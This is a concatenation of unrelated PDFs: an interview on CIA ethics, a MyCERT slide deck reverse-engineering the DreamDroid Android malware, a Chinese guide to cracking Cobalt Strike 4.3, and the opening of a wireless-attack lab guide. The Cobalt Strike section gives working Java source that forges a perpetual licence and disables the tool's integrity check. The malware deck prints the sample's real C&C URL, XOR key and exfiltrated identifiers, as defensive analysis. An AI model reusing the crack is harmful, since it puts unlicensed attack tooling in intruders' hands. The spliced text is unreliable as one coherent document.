Disinformation coming out of the agencies directed toward enemies can not be
distinguished from disinformation directed toward the population. In addition,
propaganda is impossible to protect from blowback because of network of the
information systems we all inhabit. How do we seek the larger truth and articulate it in
order to inform responsible policy discussions. Is it even possible?
DM: I like to go back before the Neocons with their Machiavellian intellectual base and
quote Walter Lippman who made the same point. Matters of foreign affairs and
international policy are too far beyond the ability of the populace to understand, he said,
so they have to be conducted in secret and there must be no transparency.
RT: Tell me more about your background.
DM: I was not a professional intelligence officer. I had ten years in the US Marine Corps,
resigned my commission in 1959, and went back to grad school. I was an NDEA fellow
at the U of Oregon and received advanced degrees in history. I taught for a few years and
because of my military background and because I specialized in military history with a
focus on Latin America I was contacted by SRI which had a lot of DOD contracts.
Counter insurgency was the new thing. In the Corps, I went to Special Forces School. We
always prepare for the last war and the whole focus was to repeat the OSS experience in
the event of war with the Soviet Union. Special Forces was created because the military
never wanted to see anything like OSS again. The plan was, teams would go into eastern
Europe to create insurgencies, but in a few years it became obvious that the insurgencies
in the colonies of post-war allies had to be “countered” – so counter insurgency was
developed. DOD was letting contracts like crazy. SRI hired me to go to Central America
and do classified work. They had gotten a big contract from ARPA (later DARPA) for a
counter insurgency center in Thailand and I worked on that.
There was a battle going on in Thailand between the Ambassador Graham Martin and
military advisors headed by Richard Stillwell. They were battling for control of our major
aid programs which had to be justified in terms of security. Martin and Stillwell hated
each other so the White House of course chose someone who hated both of them and was
hated by them, Peer De Silva, who wrote a memoir ( Sub Rosa: The CIA and the Uses of
Intelligence. New York: New York Times Books, 1978). He was security officer on the
Manhattan Project and transferred into the new CIA.
He was restricted in terms of how many people he could take to Thailand so he had to
staff from what was there. My colleague. John Huxley, had been station chief in Pakistan,
and told him to get me and I worked for him for four years in the US Embassy. That
where I made my contacts with the agency and the branch office of the station and when I
returned to the USA I did contract work for them. Then, as a consultant, I worked with
John Nesbitt the technologist during the last years of Stan Turner’s control of the agency,
when they were trying to reconstruct the old Board of National Estimates type of
operation.
They wanted outside people with background and reputation to head the Analytic Group
at the National Intelligence Council to be responsible for writing national intelligence
estimates. I went to work for Harold Ford. I was responsible for western hemisphere
estimates along with another and the focus came to be on the Contra war.
I was diligent. No matter who I talked to, who I pumped, I was unable to come up with
anything in support of the main rationale for the Contra operation. I had serious problems
with the characterization of the Sandinista government.
This tells you how the system actually works. This is relevant to what’s happening now. I
was asked to do an estimate on the Sandinista government and I did an assessment and a
projection which all came true but did not fit the policy makers’ desires. That’s why it
resonates with the WMD controversy. Ford backed me up but William Casey (Director of
the CIA) said no, this can not go out as a special estimate. It was published as an
intelligence research memorandum and went into the file and that was that.
After two years with the analytic group, I could not continue. I did not want anything else
in the agency. Instead I traveled at my own expense in Central America and the more I
learned the more clear it became that the operation was whacko. If I was going to speak
out I had better do it because I knew of well developed US plans for an invasion of
Nicaragua. I was well aware of what we had done elsewhere and if I was going to speak
out it should be before the fact instead of after.
At the 1985 elections in Nicaragua, I was an observer; it was going to be verified as a fair
and open election but right before the election – this is how disinformation is fed to the
press – news was broken that Nicaragua was going to receive a big shipment of MIG
aircraft.
RT: Was the relationship between the CIA and the media as subtle then as it is now?
DM: It was very subtle over that entire long period. The operational role of opinion
control came directly out of the Second World War. It applies to any war time situation;
war requires you to enlist the media to push in the best sense of the word war
propaganda. This is what you want out, and you’re part of the war effort, you’re
supporting your country, and in the Cold War, the same rationale was invoked. You have
to understand that many people were involved who had been intellectually attracted to an
alternative of what was seen as destructive and failed capitalism and were working with
the Communist Party and were then disillusioned by events in eastern Europe. They were
brought in and did this in the momentum of World War 2. They believed they were
supporting our country and you had to conceal their activity—now this is very powerful,
this idea of being on the inside of that effort, it is so attractive, so powerful. A big threat
to any who wanted to speak up was that you would lose access, and you want so much to
be on the inside. This keeps many people in the intelligence system, besides the usual
reasons like salary, pension, and the like. They’re afraid that if they speak up, they will
lose their access.
RT: Shunning is a primitive and powerful reinforcement.
DM: You’ll see this in the hearings coming up on whistle blowers. I know many of these
people and what fractures a lot of them and makes them so upset is that when they raise
concerns, not so much about policy but about the way it is carried out, they lose their
security clearance. You have to understand how critical this is. It means everything to a
person. Everything.
RT: The consequences are so serious.
DM: Oh, they are. I know prominent whistle blowers who still deal with this after many
years. “These were my colleagues,” they say. “These were my friends. But suddenly I am
not a colleague or a friend.” It’s like the clubbiness of the Foreign Service; when you’re
no longer welcome at certain parties or in certain houses, it’s a serious blow.
Now, I had gotten some good press and I hired a lawyer, Melvin Wolfe, who was chief
counsel of the ACLU and had worked with Victor Marchetti on publishing his CIA
memoirs. I did not want to be prosecuted and I did not wish to go to jail. Mel said he
would be able to defend me. I reviewed the form I had signed with the agency. The story
was going to go out and I gave Wolfe a magazine article I wanted to publish in which I
said everything I felt I had to say as well as some things I was certain they would block. I
said, Mel, take this to the publications review board at the agency –and it worked out
exactly as I anticipated. They passed through what I believed was necessary for me to
say, who I was, the critical evidence, and blocked out the other stuff which I was certain
they would not let me say. Now I had a guideline for the rest of the eighties, for speaking
and helping to organize the Association of National Security Alumni. I used that action as
my guideline. Occasionally Wolfe would check – there was a lot of surveillance on me as
well—and the word he got was, that son of a bitch keeps going right up to the line but he
never goes over.
I was not heroic or seeking martyrdom and it seemed to work. I testified at the World
Court which was very important to me – that was an important event and had an impact
on foreign policy. We evolved a growing community even then of former intelligence
officers, John Stockwell and others who put the association together, and I became the
Washington representative. We published our magazine Unclassified bimonthly for 5-6
years. It was a good magazine and attacked a lot of these issues and had a reasonable
circulation. Lots of media people used it.
RT: Can you evaluate the impact of what you did?
DM: In terms of impact, timing is important. We broadened the conversation on the use
of intelligence. The slogan I devised was: we are not opposed to intelligence but we are
opposed to covert paramilitary operations which by definition are violations of
international law. The timing was important because of the Iran-Contra hearings—but in
fact, in terms of impact, it was discouraging to see how Congress dealt with it. It was the
most significant constitutional scandal we had had and they pushed it under the rug. The
facts cried out for impeachment. The emotional quality of words is important when you
get involved at this level and “impeachment” is one of those words. The use of those
words climaxed or I should say anti-climaxed with eleventh hour pardons from George
Bush the First. It left a bad feeling, to say the least.
What was the use? What did it matter, everything we did?
RT: It creates cynicism.
DM: Oh, did it ever.
It’s an old story. In the Book of Samuel, the people said they wanted a King. Samuel
said, I’ll tell you what will happen if you have a King: he’ll take your young men and
send them to war, take your money to build himself houses, take your women for his own
projects, and he’ll put incredible taxes on you.
And the people of Israel said, We want a King! and that was that.
How much has changed?
RT: The conference on Intelligence and Ethics is an attempt to build a context for
examining these issues and what it does to intelligence professionals over a lifetime to
do, to know, to hear about what you describe. Do you think the project is viable?
DM: In the most brutal organizations – in the Gestapo, for example - a miniscule
proportion of the people in the organization participate in the worst barbarities. Most go
home, play with their kids, are nice to their neighbors, and can deal with it. The further
you are away from actually “doing it,” the less problems you have. Firing a Tomahawk
missile is not hand-to-hand combat.
But we can talk about this in terms of war crimes. Attacks on civilian population centers
are prohibited but in WWI we were ready to do it and then, in WW2, none of the aerial
attacks in violation of those norms like incendiary bombings in Japan were ever brought
up. Is that the American way of war or simply the industrial way of war? I don’t know.
My background gave me some credibility when I spoke out and I hope it had some
impact on members of Congress. Did that effect policy? I can’t say. My greatest
disappointment was in 1988 when I was asked by the Dukakis campaign and the
Democratic National Committee to make presentations on how to use this issue and I was
so disappointed by their response. I had been speaking all around the country and said, if
you take on this issue in 1988 and say, if I’m elected, the Contra program is over, there
are groups all over the country that will respond, but my God, the waffling! Oh well, they
said, well, yes, but you know, and all that. The inability of people to grasp these
particular nettles is one reason their campaigns deflate. Talk about impact, you can
generate ten thousand letters to the editor but it does not have political impact. In those
dreadful hearings, the expose went on and on—but for what?
RT: Well? Was it worth it?
DM: You find yourself in this situation maybe once in a lifetime. You only come to the
plate once and had better take your swings. I took my swings. That was my one ethical
plus in a lifetime of unethical behavior.
RT: You distinguish covert operations from gathering intelligence. Doesn’t that go back
to how the law creating the CIA was interpreted?
DM: The specific law establishing the CIA, the National Security Act of 1947, directed
the CIA to carry out “other activities of an intelligence nature as the National Security
Council may from time to time direct.” What the hell did that mean? The first General
Counsel of the CIA, asked if it meant the behind-the-lines kinds of operations the OSS
had carried out, said, “Absolutely not.” But Frank Wisner and others grabbed onto the
language;, Wisner with his “mighty Wurlitzer” cranking out propaganda, went
adventuring. Yet you know – most of those early escapades were total disasters.
RT: So much was ill-conceived—
DM: Yes, but oh, the glamour of doing it—
RT: The Oliver North syndrome.
DM: The attraction of playing cowboys and Indians is so great. So you have to question
whether we can even discuss ethics and intelligence in the same breath. The New York
Times wrote an article about our conference and quoted Dewey Claridge. “Ethics? Are
you crazy? You go into this line of business, you’re expected to do this.”
I recall when the General Counsel for the CIA let down her guard in an interview with
AP and said, yes, we lie cheat steal and occasionally kill but overall, the people in the
CIA are as fine a bunch as you’ll ever find anywhere!
RT: I am told that EO 12333 (Executive Order 12333 prohibits assassinations and other
specific activities) is being rewritten. “Stand by,” were the final words of General
Hayden as to whether current NSA activities were covered. But my sense is that it was
always being rewritten.
DM: Of course it was. I think of the law professor at the University of Virginia who was
heading a panel of the law association on ethics and intelligence in the early nineties and
said, on the matter of assassination, well, that term is not really correctly used, it should
not be directed at every intent to kill someone.
RT: What drove all this, David? What compelled intelligent people to get so wild?
DM: Like so much in the intelligence system, it looked sexy to some people and above
all, THE MONEY WAS THERE. That drives all of this. People will do what they can
fund. The lines between organizations and proprietaries and contractors and agencies are
very blurred and the money is more like a transmission belt than a revolving door. When
I did contract work, I did some projects I was not all that proud of, some of the work was
questionable—like various interrogation technologies that have been worked on for thirty
years, measuring changes in the size of the pupil of the eye to see if someone’s lying —I
tend to be dismissive of those efforts but when you’re looking for “capabilities and
intentions,” there is a whole lot of road to look at and not a lot of rubber. The faintest
skid marks are supposed to tell you significant things but interpreting the marks is not
easy. Intelligence is divided into two parts: one is Tactical Intelligence and Related
Activity (TIARA). TIARA is usually pretty good and you have the ability to know
through surveillance or interceptions where various enemy units are, that’s what I used
and looked at in the Marine Corps. That’s hard enough in the well-known fog of war. But
when you take it to this other level where you’re fumbling with intentions, industrial
capabilities, etc. – it’s useful for discussion but is it really useful for immediate action
and decision making? It’s questionable. The intelligence is several steps removed the
real. So how useful is it? You have to understand that once the analytic side, not the
operational side, is wedded to using these techniques, you’re like a tenured professor
working in your area of specialty, you get enormous satisfaction from doing so, and you
get funded. But how useful is it?
The only time I ever heard ethical issues raised in relationship to our work came when
someone stood back and looked at what they were doing and said: what am I doing? what
am I really doing?
RT: Is there realistic accountability to the citizens of the country and the Constitution? Is
meaningful transparency possible?
DM: I know someone who sued the CIA because he said they did not meet the terms of
their contract with him. He operated a proprietary or front organization for them and
shipped various things around the world. When he told them he wanted to stop, they said
he couldn’t. He sued the agency under a law that applied to law enforcement and the
agency actually informed the court that the individual he named in his suit was a CIA
officer and therefore the case should be dismissed since they were not law enforcement.
You’ll hear it said that intelligence professionals can not operate outside the law. But
Lawrence Welch said, there IS a class of people who can not be held accountable under
the law.
The issue of transparency raises another issue: when is it ethical to speak out? They use
“national security” to cover everything now. The state secrecy issue is completely out of
hand. If you accept that the citizen has a right to know information that directly impacts
him, does the person who has that knowledge have the requirement to inform him? The
same applies to classification and compartmentalization.
Remember how all intelligence systems operate. The operations officer in the CIA station
has one primary responsibility: to recruit agents. Agents, by definition, are citizens of the
government of the country in which the station chief operates. An agent is someone who
provides information or services FOR A CONSIDERATION – this is important, we
don’t let people “volunteer” to work for us – and therefore is a traitor to his own country.
We are in the business of soliciting people to betray their loyalties. That’s the nature of
the business.
So how can we discuss these critical ethical issues in that context?. Those early fiascoes
came to a head with the Korean effort. We had an elaborate network out of Seoul
reporting exact and precise information about North Korea but when it was reviewed, we
learned that 90% of the agents running out of Seoul were doubled by the North Koreans.
An enormous fiasco. Beetle Smith, CIA director at the time, said, we’re not going to
write a report on this because if it ever gets out, it would be the end of the CIA.
The question is: given that the mission of the CIA station is to recruit agents, why would
a country knowingly allow a CIA station to be established? As we said, the record of the
agency in the first years was a fiasco—forget about the Italian election, that was just a
good Bronx-style election that we bought.
RT: After the Italian election and the demise of Arbenz in Guatemala, they said, this is
easy. It went to their heads.
DM: The penetration in hard targets, the Soviet Union, eastern Europe, and after 1949,
China – that did not happen. In the fifties and sixties, at the height of the post-colonial
period, the CIA turned its attention to Latin America and that’s where they had success
because those targets are so soft, the societies are so corrupt, and the guys in the security
agencies lined up – believe me – and said, sign me up! It’s a good payday. That’s where
so many careers were made. I saw many of these operations going on in Africa, Latin
America, and in Bangkok where I worked – this in itself is an “ethical issue.” You are
persuading people to do this.
RT: In and of itself, you are saying, the nature of the work breaks ethical norms as we
understand them in other contexts. It’s about control by nearly any means.
DM: Yes. My late colleague, Diane Kuntz, served in the station in Lima Peru. A junior
officer at the Chinese embassy requested a particular prostitute. So they got the cameras
in there and filmed, that was always fun, but what ticked Diane off is that all the other
officers at the station watched the films on a weekly basis but they wouldn‘t let her
watch.
After they had enough stuff on the guy, they arranged for an agency officer to storm in
and see this guy, shrieking that this woman is his daughter and bad things will happen
and they have these films and then they make the pitch. This guy did what any sensible
person would do. He went to his superiors and told them what happened, this is what they
asked, and he was on the next plane back to Beijing and went on with his career.
The point is, they’re always looking for things like that to trap people, and you rationalize
it, you justify it, you say, this is my job and we’re obtaining information that we need,
and if your skin isn’t thick enough to do it—then get a different job. | pdf |
Securing Our Cyberspace
Copyright © 2011 CyberSecurity Malaysia
Ministry of Science,
Technology & Innovation
MAHMUD AB RAHMAN
(MyCERT, CyberSecurity Malaysia)
Reversing Android Malware
Copyright © 2011 CyberSecurity Malaysia 2
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
MYSELF
! Mahmud Ab Rahman
! MyCERT, CyberSecurity Malaysia
! Lebahnet(honeynet), Botnet, Malware
Copyright © 2011 CyberSecurity Malaysia 3
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
INTRO : Dalvik Bytercode
! Below are list of websites for studying and
understanding Dalvik’s opcode.
o Official Android SDK Documentation accessible via
git
- http://android.git.kernel.org/?p=platform/
dalvik.git;a=tree
o http://pallergabor.uw.hu/androidblog/
dalvik_opcodes.html
- Based on Gabor’s RE on .dex bytecode
o http://www.netmite.com/android/mydroid/dalvik/
docs/dalvik-bytecode.html
o http://developer.android.com/reference/
packages.html - Android SDK API
Copyright © 2011 CyberSecurity Malaysia 4
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
INTRO : Dalvik Bytercode
! .class public final com/xxxx/xxxx/
o A class file
! .super java/lang/Object
o A super object
! .source DataHelper.java
o A source file
! .field public static final a Ljava/lang/String
o A ‘field’ with “string” attribute
! .method static <clinit>()V
o A static method with a VOID return
! new-array vA, vB, type@CCCC
o Construct a new array of the indicated type and size. The type must be an array type.
Copyright © 2011 CyberSecurity Malaysia 5
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
INTRO : Dalvik Bytercode
! const/*(4,16) vA, #+B
o Move the given literal value (sign-extended to 32 bits) into the specified register
! invoke-* (direct,static,super,interface,virtual)
o Call the indicated method. The result (if any) may be stored with an appropriate move-
result* variant as the immediately subsequent instruction.
! s-(get|put)-*(wide,float,object,byte,char)
o Perform the identified object static field operation with the identified static field,
loading or storing into the value register.Note: These opcodes are reasonable
candidates for static linking, altering the field argument to be a more direct offset.
! move-result-*(wide,object)
o Move the single-word/double/object (non-object) result of the most recent invoke-kind
into the indicated register.
! new-array vA, vB, type@CCCC
o Construct a new array of the indicated type and size. The type must be an array type.
Copyright © 2011 CyberSecurity Malaysia 6
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
INTRO : Dalvik Bytercode
! move
v0,v11
o Move v11 to v0
! Goto l78a
o GOTO line 78a
! a-(get|put)-*(wide,float,object,byte,char)
o Perform the identified array operation at the identified index of the given array,
loading or storing into the value register.
! i-(get|put)-*(wide,float,object,byte,char)
o Perform the identified object instance field operation with the identified field, loading
or storing into the value register.
o Note: These opcodes are reasonable candidates for static linking, altering the field
argument to be a more direct offset.
Copyright © 2011 CyberSecurity Malaysia 7
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
INTRO : Dalvik Bytercode
! if-(eq,ne,gt,lt,ge,le) vA, vB, +CCCC
o Branch to the given destination if the given two registers' values compare as specified.
o Note: The branch offset may not be 0. (A spin loop may be legally constructed either
by branching around a backward goto or by including a nop as a target before the
branch.)
! If-(eq,ne,gt,lt,ge,le) vA, +CCCC
o Branch to the given destination if the given register's value compares with 0 as
specified.
o Note: The branch offset may not be 0. (A spin loop may be legally constructed either
by branching around a backward goto or by including a nop as a target before the
branch.)
Securing Our Cyberspace
Copyright © 2011 CyberSecurity Malaysia
Ministry of Science,
Technology & Innovation
ANDROID MALWARE
Intro
Reversing
Android
Cases Study
Issues
Conclusion
Android
malware
Copyright © 2011 CyberSecurity Malaysia 9
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
Android Malware
Copyright © 2011 CyberSecurity Malaysia 10
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
Android Malware
! Malicious piece of codes.
! Infection methods:
o Infecting legitimate apps
- Mod app with malicious codes (Geinimi,
DreamDroid,ADDR)
- Upload to “Market” or 3rd party hosting
o Exploiting Android’s (core/apps) bugs
o Fake apps
- DreamDroid’s removal tool
Copyright © 2011 CyberSecurity Malaysia 11
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
Android Malware
! Infection methods (cont):
o Remote install?.
- Victim’s gmail credential is required
- Browse “Market” and pass gmail info
- “Market” will install app into victim’s phone REMOTELY
http://www.net-security.org/article.php?id=1556
Copyright © 2011 CyberSecurity Malaysia 12
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
DreamDroid Malware
Copyright © 2011 CyberSecurity Malaysia 13
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid
! Latest addition to android malware family
! Modus Operandi
o Infecting legitimate software
o Hosted at “Market”
o 53 software infected
! Bundled with exploits to “root” the Android
o Exploid (CVE-2009-1185)
o Rageagaintsthecage (CVE-2010-EASY)
! Bot capability
Copyright © 2011 CyberSecurity Malaysia 14
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (stage1 payload)
! Life Circle (entry point)
o Launch Itself via INTENT (Launcher)
- AndroidManifest.XML
o Checking “profile” file (Init on Setting->Init on
Setting$1)
- If exist, stopSelf()
- Else
– Check if the “.downloadsmanager” is installed
– If installed, stopSelf()
– Else
- start copying sqlite.db to DownloadProvidersManager.apk
(cpFile())
Copyright © 2011 CyberSecurity Malaysia 15
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (stage1 payload)
Copyright © 2011 CyberSecurity Malaysia 16
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (stage1 payload)
! Life Circle (r00ting the b0x)
o Check the “profile” file
- If exist, destroy() ->stopSelf()
- Else
– Prepare for UdevRoot
- Run Exploid
– If Failed
- Prepare for AdbRoot
- Run “rageagaintsthecage”
– destroy() -> cpFile() | stopSelf()
Copyright © 2011 CyberSecurity Malaysia 17
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (stage1 payload)
Copyright © 2011 CyberSecurity Malaysia 18
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (stage1 payload)
!"#$%&&'(
Copyright © 2011 CyberSecurity Malaysia 19
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (stage1 payload)
)"*%&&'()+)(,)-#)-)./'0'1#2)-#(
Copyright © 2011 CyberSecurity Malaysia 20
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (stage1 payload)
! Life Circle (calling home)
o XOR-ed URL
Copyright © 2011 CyberSecurity Malaysia 21
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (stage1 payload)
! Life Circle (calling home)
o OnCreate()->Setting$2.run()
Copyright © 2011 CyberSecurity Malaysia 22
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (stage1 payload)
! Life Circle (calling home)
o XOR-ed URL
http://184.105.245.17:8080/GMServer/GMServlet
34567($#,0.&/89:;<9(#/2&"./-89=>?@A94B(
3%#C!#0'B3D,&'&2&7B:;<3ED,&'&2&7B3F&66)/"B<3EF&66)/"B3F7.#/'G/H&B3D),'/#,BI03ED),'/#,B(
3D,&"!2'G"BI03ED,&"!2'G"B3GJKGBI03EGJKGB3GJLGBI03EGJLGB3J&"7#BI03EJ&"7#B3EF7.#/'G/H&B(
3E%#C!#0'9(
Copyright © 2011 CyberSecurity Malaysia 23
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (stage2 payload)
! DownloadProvidersManager.apk
o Silently installed/copied into /system/app
Copyright © 2011 CyberSecurity Malaysia 24
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (stage2 payload)
! What it does?
o RE DownloadProvidersManager.apk
o Start via AndroidManifest.xml too : )
Copyright © 2011 CyberSecurity Malaysia 25
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (cont)
! Features:
o Encrypted communication (XOR)
o Encrypted data
o Bot capability
o Two stage payloads
- 1st Payload - Infected app
– Rooted device
– Install 2nd payload (DownloadProviderManager)
- 2nd Payload - DownloadProviderManager
– Sqllite.db (original filename)
– Receive instructions from C&C
– Send info to C&C
– Silently install itself (copy to /system/app directory)
Copyright © 2011 CyberSecurity Malaysia 26
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
RE #3: DreamDroid (cont)
! Encryption
o XOR operation
- KEY=“6^)(9-p35a%3#4S!4S0)$Yt%^&5(j.g^&o(*0)$Yv!#O@6GpG@=+3j.&6^)(0-
=1”.getBytes()
- DATA=
“9442938832952138511219112519102302419997621102222611139125244801090511910
011960487794252”
o Revealed C&C server
- http://184.105.245.17:8080/GMServer/GMServlet
! Send IMEI,IMSI, Device Model, SDK Version to
C&C server
Securing Our Cyberspace
Copyright © 2011 CyberSecurity Malaysia
Ministry of Science,
Technology & Innovation
CHALLENGES AND ISSUES
Intro
Reversing
Android
Cases Study
Issues
Conclusion
Android
malware
Copyright © 2011 CyberSecurity Malaysia 28
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
Challenges and Issues
! Typical Reverse engineering challenges
o Code obfuscation
- Obfuscation on data
o Encryption
- Make it harder
- Eventually will be broken (as for current sample)
o Code optimizing
- Code for device, painful for RE
! Tools is not yet mature
o IDA PRO like RE suite
o XREF
Copyright © 2011 CyberSecurity Malaysia 29
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
Challenges and Issues
! Spotting the malicious apps
o Not RE problem but how do you spot the
malicious app?.
! Remote Install via “Market” would be interesting
to observe
Securing Our Cyberspace
Copyright © 2011 CyberSecurity Malaysia
Ministry of Science,
Technology & Innovation
CONCLUSION
Intro
Reversing
Android
Cases Study
Issues
Conclusion
Android
malware
Copyright © 2011 CyberSecurity Malaysia 31
Securing Our Cyberspace
Ministry of Science,
Technology & Innovation
Conclusion
! Android malware is interesting topic
o More complex android malware are expected
o More exploits on Android platform are expected
o More powerful hardware will change the
landscape!
! It is possible to reverse engineering Android
malware
o A lot of free tools to reverse engineering android
apps/malware
o Solving a puzzle. PERIOD
! Reversing tools are there, but yet to mature
Securing Our Cyberspace
Copyright © 2011 CyberSecurity Malaysia
Ministry of Science,
Technology & Innovation
Q&A
Securing Our Cyberspace
Copyright © 2011 CyberSecurity Malaysia
Ministry of Science,
Technology & Innovation
THANKS
Email: [email protected]
Web: http://www.cybersecurity.my
Web: http://www.mycert.org.my
Web: www.cybersafe.my
Report Incident: [email protected] | pdf |
CobaltStrike 4.3 简单修改
几个月没有使用CobaltStrike了,因此最新的4.3,我也没有自己修改的版本。今天为了测试
HiveNightmare于是乎修改了下。
网上有@Twi1ight同学写的比较通用的CSAgent。
CSAgent使用需要引入jar包,并且windows下不能使用cobaltstrike.exe去启动。我个人还是习惯一个
cobaltstrike.jar,只做必要的修改,因此就自己修改了下。
主要修改了Authorization.class、BeaconData.class,两文件。
方便新手同学自己简单修改,我还是详细说下步骤:
Authorization.java,我在代码中标注,可以自定义的部分,主要还是watermark。
package common;
import java.io.*;
public class Authorization
{
protected int watermark;
protected String validto;
protected String error;
protected boolean valid;
public Authorization() {
this.watermark = 0;
this.validto = "forever";
this.error = null;
this.valid = true;
try {
this.watermark = 29999999; //这个watermark也是id,建议自己定义,随便修改成
其他数字,比如:28888888
MudgeSanity.systemDetail("valid to", "perpetual");
MudgeSanity.systemDetail("id", this.watermark + "");
SleevedResource.Setup(hex2bytes("3a4425490f389aeec312bdd758ad2b99"));
}
catch (Exception ex2) {
MudgeSanity.logException("auth file parsing", ex2, false);
}
}
public byte[] hex2bytes(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) +
Character.digit(s.charAt(i+1), 16));
}
return data;
}
BeaconData.java
public boolean isPerpetual() {
return "forever".equals(this.validto);
}
public boolean isValid() {
return this.valid;
}
public String getError() {
return this.error;
}
public String getWatermark() {
return this.watermark + "";
}
public long getExpirationDate() {
return CommonUtils.parseDate(this.validto, "yyyyMMdd");
}
public boolean isExpired() {
return System.currentTimeMillis() > this.getExpirationDate() +
CommonUtils.days(1);
}
public String whenExpires() {
final long n = (this.getExpirationDate() + CommonUtils.days(1) -
System.currentTimeMillis()) / CommonUtils.days(1);
if (n == 1L) {
return "1 day (" + CommonUtils.formatDateAny("MMMMM d, YYYY",
this.getExpirationDate()) + ")";
}
if (n <= 0L) {
return "TODAY (" + CommonUtils.formatDateAny("MMMMM d, YYYY",
this.getExpirationDate()) + ")";
}
return n + " days (" + CommonUtils.formatDateAny("MMMMM d, YYYY",
this.getExpirationDate()) + ")";
}
public boolean isAlmostExpired() {
return System.currentTimeMillis() + CommonUtils.days(30) >
this.getExpirationDate();
}
}
package beacon;
import java.io.*;
import common.*;
import java.util.*;
public class BeaconData
{
public static final int MODE_HTTP = 0;
public static final int MODE_DNS = 1;
public static final int MODE_DNS_TXT = 2;
public static final int MODE_DNS6 = 3;
protected Map queues;
protected Map modes;
protected Set tasked;
protected boolean shouldPad;
protected long when;
public BeaconData() {
this.queues = new HashMap();
this.modes = new HashMap();
this.tasked = new HashSet();
this.shouldPad = false;
this.when = 0L;
}
protected List getQueue(final String s) {
synchronized (this) {
if (this.queues.containsKey(s)) {
return (List)this.queues.get(s);
}
final LinkedList list = new LinkedList();
this.queues.put(s, list);
return list;
}
}
public boolean isNewSession(final String s) {
synchronized (this) {
return !this.tasked.contains(s);
}
}
public void virgin(final String s) {
synchronized (this) {
this.tasked.remove(s);
}
}
public void shouldPad(final boolean shouldPad) {
//this.shouldPad = shouldPad;
this.shouldPad = false; //修改的就这句,去除jar文件完整性校验。
this.when = System.currentTimeMillis() + 1800000L;
}
public void task(final String s, final byte[] array) {
synchronized (this) {
final List queue = this.getQueue(s);
if (this.shouldPad && System.currentTimeMillis() > this.when) {
final CommandBuilder commandBuilder = new CommandBuilder();
commandBuilder.setCommand(3);
commandBuilder.addString(array);
queue.add(commandBuilder.build());
}
else {
queue.add(array);
}
this.tasked.add(s);
}
}
public void seen(final String s) {
synchronized (this) {
this.tasked.add(s);
}
}
public void clear(final String s) {
synchronized (this) {
this.getQueue(s).clear();
this.tasked.add(s);
}
}
public int getMode(final String s) {
synchronized (this) {
final String s2 = this.modes.get(s).toString();
if ("dns-txt".equals(s2)) {
return 2;
}
if ("dns6".equals(s2)) {
return 3;
}
if ("dns".equals(s2)) {
return 1;
}
}
return 2;
}
public void mode(final String s, final String s2) {
synchronized (this) {
this.modes.put(s, s2);
}
}
public boolean hasTask(final String s) {
synchronized (this) {
return this.getQueue(s).size() > 0;
}
}
public byte[] dump(final String s, final int n) {
synchronized (this) {
int n2 = 0;
final List queue = this.getQueue(s);
if (queue.size() == 0) {
return new byte[0];
}
final ByteArrayOutputStream byteArrayOutputStream = new
ByteArrayOutputStream(8192);
final Iterator<byte[]> iterator = queue.iterator();
while (iterator.hasNext()) {
final byte[] array = iterator.next();
java文件 ---> class文件
替换直接使用360压缩软件:
if (n2 + array.length < n) {
byteArrayOutputStream.write(array, 0, array.length);
iterator.remove();
n2 += array.length;
}
else {
if (array.length < n) {
CommonUtils.print_warn("Chunking tasks for " + s + "! "
+ array.length + " + " + n2 + " past threshold. " + queue.size() + " task(s) on
hold until next checkin.");
break;
}
CommonUtils.print_error("Woah! Task " + array.length + " for
" + s + " is beyond our limit. Dropping it");
iterator.remove();
}
}
return byteArrayOutputStream.toByteArray();
}
}
}
javac -cp cobaltstrike.jar BeaconData.java Authorization.java
Authorization.class拖到common目录,BeaconData.class拖到beacon目录。
ps:文中尽量规避了破解、漏洞等词语。 | pdf |
ADVANCED WIRELESS ATTACKS AGAINST
ENTERPRISE NETWORKS
LAB SETUP GUIDE
VERSION 1.0.2
Gabriel Ryan
@s0lst1c3 @gdssecurity
[email protected]
solstice.me
Advanced Wireless Attacks Against Enterprise Networks
Introduction
© 2017 Gabriel Ryan All Rights Reserved
2
INTRODUCTION
For this workshop, we’ll be using a lab that consist of five virtual machines joined to the same virtual network.
Three of these virtual machines will run Windows and will be joined to one another using Active Directory. One of
the three Windows machines will serve as the Domain Controller, and the other two will act as workstations. The
remaining two virtual machines include a PFSense instance that will serve as a firewall between our lab and the
outside world, and a Kali virtual machine that is preloaded with everything you need for this course.
The PFSense and Kali virtual machines are completely preconfigured and require no manual setup on the part of
the student. Unfortunately, it was not possible to provide preconfigured Windows virtual machines due to
licensing issues. That means you’re going to have to download and configure your Active Directory machines
yourself.
With that said, worry not. I’ve gone to great lengths to make the lab setup process as painless as possible by
